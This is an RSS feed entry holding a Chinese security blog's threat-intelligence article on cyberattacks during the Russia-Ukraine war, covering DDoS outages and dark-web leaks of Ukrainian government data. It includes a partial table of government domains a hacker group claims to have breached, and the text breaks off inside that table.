<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>InBug实验室</title>
    <link>https://wechat2rss.xlab.app/feed/61d5b534b36746e49e6b7d52a722968eebe131a7.xml</link>
    <description>信息安全相关信息推送，专注于红蓝对抗。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (InBug实验室)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM63h3YZ2VRyzNr3GpEYfNfNQFqF5iaU8NFxhdjLxk1mOyg/0</url>
      <title>InBug实验室</title>
      <link>https://wechat2rss.xlab.app/feed/61d5b534b36746e49e6b7d52a722968eebe131a7.xml</link>
    </image>
    <item>
      <title>开源情报收集之乌克兰局势</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247484171&amp;idx=1&amp;sn=3bde8ba914cbd1c7d97d144b5300dd16</link>
      <description>俄乌战争不仅在线下影响着世界，在网络层面带来的损失很可能不亚于实际的空袭与炮击。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2022-02-25 16:00</span> <span style="display: inline-block;"></span>
</p>

<p>俄乌战争不仅在线下影响着世界，在网络层面带来的损失很可能不亚于实际的空袭与炮击。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=03197316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGYNQBIUgEQOmUibSS8Is0YnZmNlibEsFHutsmxyEDOAV9d4rZhz68KM9Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="outline: 0px;max-width: 100%;visibility: visible;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景</strong></span></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">俄乌战争不仅在线下影响着世界，在网络层面带来的损失很可能不亚于实际的空袭与炮击。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="font-size: 14px;line-height: 24px;font-family: 宋体;">DDOS攻击让乌克兰平民断网，让乌克兰银行瘫痪的恶意软件甚至可能全球蔓延，从周四上午开始，入侵俄军带来的轰炸与枪声在乌克兰首都基辅和其他主要城市清晰可辨，同时大规模网络攻击让乌克兰政府的主要官网无法载入。在一系列DDOS攻击后，乌克兰国防部、外交部和内政部的网站对外界访问请求不能响应或加载缓慢。除此之外暗网的黑客组织在不间断的公布被黑的乌克兰政府网站数据。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">本文将开源情报角度对本次冲突下的网络攻击与情报进行分析。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;"><br/></span></p><h1 style="outline: 0px;max-width: 100%;visibility: visible;font-size: 18px;margin-right: auto;margin-left: auto;text-align: center;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于暗网的开源情报收集</strong></span></section></h1><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;text-align: left;"><span style="font-size: 14px;line-height: 24px;font-family: 宋体;">根据InBug实验室暗网情报监控平台收集的情报，早在1月13日，一个名为FreeCivilian的组织在暗网主页发布了一个大小为2.5GB的乌克兰政府内政部网站（<a href="https://wanted.mvs.gov.ua/）数据库，同天还发布了大小为903G的乌克兰社区和领土发展部（http://minregion.gov.ua/）的数据邮件，在903G的文件中存在大量乌克兰政府内部邮件。" target="_blank">https://wanted.mvs.gov.ua/）数据库，同天还发布了大小为903G的乌克兰社区和领土发展部（http://minregion.gov.ua/）的数据邮件，在903G的文件中存在大量乌克兰政府内部邮件。</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7684210526315789" data-s="300,640" style="width: 498px;height: 383px;" data-type="png" data-w="570" src="https://wechat2rss.xlab.app/img-proxy/?k=708cfc9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGF2fkKoEuGHPvCNw0edgZdV2wpSWF9TzQhfgkotQbT8FibPmbt0YZWYg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:center;margin: 0cm;text-indent: 15pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;break-after: avoid;"><span lang="ZH" style="font-size: 7.5pt;line-height: 15px;">暗网截图</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.96" data-s="300,640" style="" data-type="png" data-w="450" src="https://wechat2rss.xlab.app/img-proxy/?k=8186abf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGmMkOp4PaI9Cq8AqGuJbK1M6IhC1sWsibRkL4HGGfLx9PmtEvXQ11NUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin: 0cm;text-indent: 15pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;break-after: avoid;"><span lang="ZH" style="font-size: 7.5pt;line-height: 15px;">泄漏数据截图</span><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="font-size: 14px;line-height: 24px;font-family: 宋体;">该组织又于2月24发布了大小为609G的乌克兰政务在线网站（<a href="https://diia.gov.ua/）的数据文件，内包含大量乌克兰公民信息，除此之外还有五十一个乌克兰政府网站的数据已经被黑客窃取，该组织择日公布，这种大规模有组织的入侵政府网站并且公布数据实属罕见。" target="_blank">https://diia.gov.ua/）的数据文件，内包含大量乌克兰公民信息，除此之外还有五十一个乌克兰政府网站的数据已经被黑客窃取，该组织择日公布，这种大规模有组织的入侵政府网站并且公布数据实属罕见。</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47770700636942676" data-s="300,640" style="" data-type="png" data-w="628" src="https://wechat2rss.xlab.app/img-proxy/?k=01d46d1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPG5RQDdRgpia3ZYyv1kjzlVHlibKvYLiaMHZoLdLQe7vIn3kn5xN2DEsePg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin: 0cm;text-indent: 15pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;break-after: avoid;"><span lang="ZH" style="font-size: 7.5pt;line-height: 15px;">泄漏文件</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">被黑清单如下：</span></p><table cellspacing="0" cellpadding="0" width="576"><tbody><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://ticket.kyivcity.gov.ua" target="_blank">http://ticket.kyivcity.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://kmu.gov.ua" target="_blank">http://kmu.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://ticket.kyivcity.gov.ua" target="_blank">http://ticket.kyivcity.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mvs.gov.ua" target="_blank">http://mvs.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://ticket.kyivcity.gov.ua" target="_blank">http://ticket.kyivcity.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dsbt.gov.ua" target="_blank">http://dsbt.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://ticket.kyivcity.gov.ua" target="_blank">http://ticket.kyivcity.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://forest.gov.ua" target="_blank">http://forest.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://anti-violence-map.msp.gov.ua" target="_blank">http://anti-violence-map.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://nkrzi.gov.ua" target="_blank">http://nkrzi.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dopomoga.msp.gov.ua" target="_blank">http://dopomoga.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dabi.gov.ua" target="_blank">http://dabi.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://e-services.msp.gov.ua" target="_blank">http://e-services.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://comin.gov.ua" target="_blank">http://comin.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://edu.msp.gov.ua" target="_blank">http://edu.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dp.dpss.gov.ua" target="_blank">http://dp.dpss.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://education.msp.gov.ua" target="_blank">http://education.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://esbu.gov.ua" target="_blank">http://esbu.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://ek-cbi.msp.gov.ua" target="_blank">http://ek-cbi.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mms.gov.ua" target="_blank">http://mms.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mail.msp.gov.ua" target="_blank">http://mail.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mova.gov.ua" target="_blank">http://mova.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://portal-gromady.msp.gov.ua" target="_blank">http://portal-gromady.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mspu.gov.u" target="_blank">http://mspu.gov.u</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://web-minsoc.msp.gov.ua" target="_blank">http://web-minsoc.msp.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://nads.gov.ua" target="_blank">http://nads.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://wcs-wim.dsbt.gov.ua" target="_blank">http://wcs-wim.dsbt.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://reintegration.gov.ua" target="_blank">http://reintegration.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://bdr.mvs.gov.ua" target="_blank">http://bdr.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://sies.gov.ua" target="_blank">http://sies.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://motorsich.com" target="_blank">http://motorsich.com</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://sport.gov.ua" target="_blank">http://sport.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dsns.gov.ua" target="_blank">http://dsns.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mepr.gov.ua" target="_blank">http://mepr.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mon.gov.ua" target="_blank">http://mon.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mfa.gov.ua" target="_blank">http://mfa.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://minagro.gov.ua" target="_blank">http://minagro.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mva.gov.ua" target="_blank">http://mva.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 